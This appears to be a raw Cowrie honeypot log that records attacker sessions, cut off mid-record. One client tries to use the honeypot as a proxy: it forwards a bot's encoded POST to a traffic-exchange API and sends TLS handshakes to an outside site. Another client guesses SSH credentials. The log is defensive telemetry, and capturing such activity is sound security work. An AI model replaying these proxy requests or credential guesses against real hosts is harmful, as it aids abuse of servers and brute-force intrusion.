{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/71.0 Mobile/18D70 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1156\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=RzdWQjY8TVpOVWd4RWk%2BNA%3D%3DFmbKBRovS0ZiIFc69OYMxX8myjXgIE%2FVBzN9zgTuux%2FqFa4p8wqop%2BfAFXhi7KlsLmAeG9u3bkW47elYSwwfnQUmsPJ7AgaLGtogrIhWW9gIFwC8M69qneq%2Ftf4FOCeCmSO1dbKQElxWLMCf8c8bflaffRaOaQ00WDb2PF8z225PIotyDYMxpf99DzzF%2BfFaDOrYMgi3FuAE17VcyZkSyxi9wD5epMsRhpO4GC7UawZ9m9MPuR3sGxQ9sWra8jFzvMp1SCAECaTjyvIe7FZ8zWkoytMnHJs%2BYRU%2F3lzR3pc7a14tGEqD3UV8spz81WLnggJeBnnfJsImbvSSZ8Q9ELYVl31fxe60H6RgsANSwCPCZUh9cOp6CYJcvzRpbf9CQPmmRgA%2BWS9u68bxnWDkjoC5FDlSO%2BFjHbfHWpR%2F4ExdR%2F0UW3BWVM9yB1lInUe0%2BV0NeI7jY5%2Bef6WE5sG7896YnbyCMS0jqCQIiqK0tIW8yZkw4u6kbFHxGsKU8XFDpc6rZx7lwWb3EO1tRl1pDZL7qGRSXICyKYKmj6SC6Mur7Sl0cXxUZIAGElmbsGj%2FZLVUPYIRFEhXCYCwHXeXa%2FEi2I0WkDd8L6gtJeGGDM3sndf6d%2FrAovQU22%2Bfm8sG8mwQQZhrrWheMfUBy7%2FkKHznsn2lQe98ctrunqZ69GDCewutx%2BV5mAEx8LRDeIw4XsSWGt%2F7ceCBbW5EQsQOz5PaTARoiTIbh1mzYWMiyotM%2BfMKZ3Pai4GhUH1OSWgrDv1PtjFVTOVcG1nSOU4wbnwyEXMzjGKfNUymj82HDx4AHVYSZAWeB%2FgNuiyFwXmDYGRBad8fnAU2kXUHBDOz7C7v3QpXSGcPAbfvuscbLWIQYoSkugNUMmIq81Ts16L16QKg85AVEUNi7cOKw%2BSZNg5ECrPwQ%2FJefB7A8RaO3XYW55yKcX8B1QmQKiTz%2BQ9ZRv91yzQvZf4Yn052va%2FEQow2VG4p2IiI9gw1ZWsoA6FBaX2ZplgG79Qcxcys0SlR9Uwj%2FRIQwTMDxsng5nhHRAQXOj60QmXelYNnIgpE8y4%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/71.0 Mobile/18D70 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1156\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=RzdWQjY8TVpOVWd4RWk%2BNA%3D%3DFmbKBRovS0ZiIFc69OYMxX8myjXgIE%2FVBzN9zgTuux%2FqFa4p8wqop%2BfAFXhi7KlsLmAeG9u3bkW47elYSwwfnQUmsPJ7AgaLGtogrIhWW9gIFwC8M69qneq%2Ftf4FOCeCmSO1dbKQElxWLMCf8c8bflaffRaOaQ00WDb2PF8z225PIotyDYMxpf99DzzF%2BfFaDOrYMgi3FuAE17VcyZkSyxi9wD5epMsRhpO4GC7UawZ9m9MPuR3sGxQ9sWra8jFzvMp1SCAECaTjyvIe7FZ8zWkoytMnHJs%2BYRU%2F3lzR3pc7a14tGEqD3UV8spz81WLnggJeBnnfJsImbvSSZ8Q9ELYVl31fxe60H6RgsANSwCPCZUh9cOp6CYJcvzRpbf9CQPmmRgA%2BWS9u68bxnWDkjoC5FDlSO%2BFjHbfHWpR%2F4ExdR%2F0UW3BWVM9yB1lInUe0%2BV0NeI7jY5%2Bef6WE5sG7896YnbyCMS0jqCQIiqK0tIW8yZkw4u6kbFHxGsKU8XFDpc6rZx7lwWb3EO1tRl1pDZL7qGRSXICyKYKmj6SC6Mur7Sl0cXxUZIAGElmbsGj%2FZLVUPYIRFEhXCYCwHXeXa%2FEi2I0WkDd8L6gtJeGGDM3sndf6d%2FrAovQU22%2Bfm8sG8mwQQZhrrWheMfUBy7%2FkKHznsn2lQe98ctrunqZ69GDCewutx%2BV5mAEx8LRDeIw4XsSWGt%2F7ceCBbW5EQsQOz5PaTARoiTIbh1mzYWMiyotM%2BfMKZ3Pai4GhUH1OSWgrDv1PtjFVTOVcG1nSOU4wbnwyEXMzjGKfNUymj82HDx4AHVYSZAWeB%2FgNuiyFwXmDYGRBad8fnAU2kXUHBDOz7C7v3QpXSGcPAbfvuscbLWIQYoSkugNUMmIq81Ts16L16QKg85AVEUNi7cOKw%2BSZNg5ECrPwQ%2FJefB7A8RaO3XYW55yKcX8B1QmQKiTz%2BQ9ZRv91yzQvZf4Yn052va%2FEQow2VG4p2IiI9gw1ZWsoA6FBaX2ZplgG79Qcxcys0SlR9Uwj%2FRIQwTMDxsng5nhHRAQXOj60QmXelYNnIgpE8y4%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:26.883754Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:27.106074Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4~z\\xfeX\\xfe\\x86\\x10\\x04\\xfe\\xcfG\\x88\\x91\\xb4L\\xb7.\\xf7\\xf0c\\xe4\\xf9\\xad\\\\\\xa7\\xe8\\xb0\\x9e+-\\xc0 \\x03\\xaa}\\x0b\\x02\\xb7/g\\x92\\xed8\\x0b\\xaf}d\\xddwF\\x8b\\xa5\\xc6\\x7f\\x8f\\xc1\\xe1\\xf2\\xa3\\x10\\x85\\x8b'\\x93\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 F\\xdcc^\\x14>\\xe9\\xac|\\xc1\\xe4i\\x0b\\xe2\\x03\\xe4w5\\x96\\x8eog%w8l\\x8d\\xfa^\\x86\\x841\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4~z\\xfeX\\xfe\\x86\\x10\\x04\\xfe\\xcfG\\x88\\x91\\xb4L\\xb7.\\xf7\\xf0c\\xe4\\xf9\\xad\\\\\\xa7\\xe8\\xb0\\x9e+-\\xc0 \\x03\\xaa}\\x0b\\x02\\xb7/g\\x92\\xed8\\x0b\\xaf}d\\xddwF\\x8b\\xa5\\xc6\\x7f\\x8f\\xc1\\xe1\\xf2\\xa3\\x10\\x85\\x8b'\\x93\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 F\\xdcc^\\x14>\\xe9\\xac|\\xc1\\xe4i\\x0b\\xe2\\x03\\xe4w5\\x96\\x8eog%w8l\\x8d\\xfa^\\x86\\x841\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:27.109316Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:27.561286Z","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:27.794125Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\xae\\x1at}\\xce\\xadh\\xf1Z\\x0e\\x87A[U\\x04\\xf3\\x9cpz\\x8cIuf\\xfc\\xaf\\xeb\\xda9H^\\xcf \\x93\\xa6\\x19\\xe6\\xe7\\xa8eY\\xbb\\xed\\x8c\\xfbm\\xe4g\\xcaN\\xe0\\xf9|Mp\\xf2\\xb3\\xc0\\xa7VZ\\xf2\\xcb\\xf5T\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c\\xce\\xc7EG\\xf6\\xdd\\xdc\\x18\\xa3\\xfc\\xf2z\\x15\\xe5\\xf8\\x8d\\x86D\\x92\\xb1\\xfd,\\xc6\\xa4\\x1c\\x89c\\xcb1@%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\xae\\x1at}\\xce\\xadh\\xf1Z\\x0e\\x87A[U\\x04\\xf3\\x9cpz\\x8cIuf\\xfc\\xaf\\xeb\\xda9H^\\xcf \\x93\\xa6\\x19\\xe6\\xe7\\xa8eY\\xbb\\xed\\x8c\\xfbm\\xe4g\\xcaN\\xe0\\xf9|Mp\\xf2\\xb3\\xc0\\xa7VZ\\xf2\\xcb\\xf5T\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c\\xce\\xc7EG\\xf6\\xdd\\xdc\\x18\\xa3\\xfc\\xf2z\\x15\\xe5\\xf8\\x8d\\x86D\\x92\\xb1\\xfd,\\xc6\\xa4\\x1c\\x89c\\xcb1@%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:27.797211Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:28.180436Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18002,"dst_ip":"159.203.135.109","dst_port":22,"session":"52ebdacbe53e","protocol":"ssh","message":"New connection: 91.92.40.36:18002 (159.203.135.109:22) [session: 52ebdacbe53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:28.803574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:28.808263Z","src_ip":"91.92.40.36","session":"52ebdacbe53e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:29.864266Z","src_ip":"91.92.40.36","session":"52ebdacbe53e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.607455015182495,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:30.852361Z","src_ip":"172.81.62.90","session":"e3326b4011cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18112,"dst_ip":"159.203.135.109","dst_port":22,"session":"33e61639545f","protocol":"ssh","message":"New connection: 91.92.40.36:18112 (159.203.135.109:22) [session: 33e61639545f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:33.136040Z"}
{"eventid":"cowrie.login.failed","username":"amits","password":"amits","message":"login attempt [amits/amits] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:33.291173Z","src_ip":"91.92.40.36","session":"52ebdacbe53e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:33.411482Z","src_ip":"91.92.40.36","session":"33e61639545f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 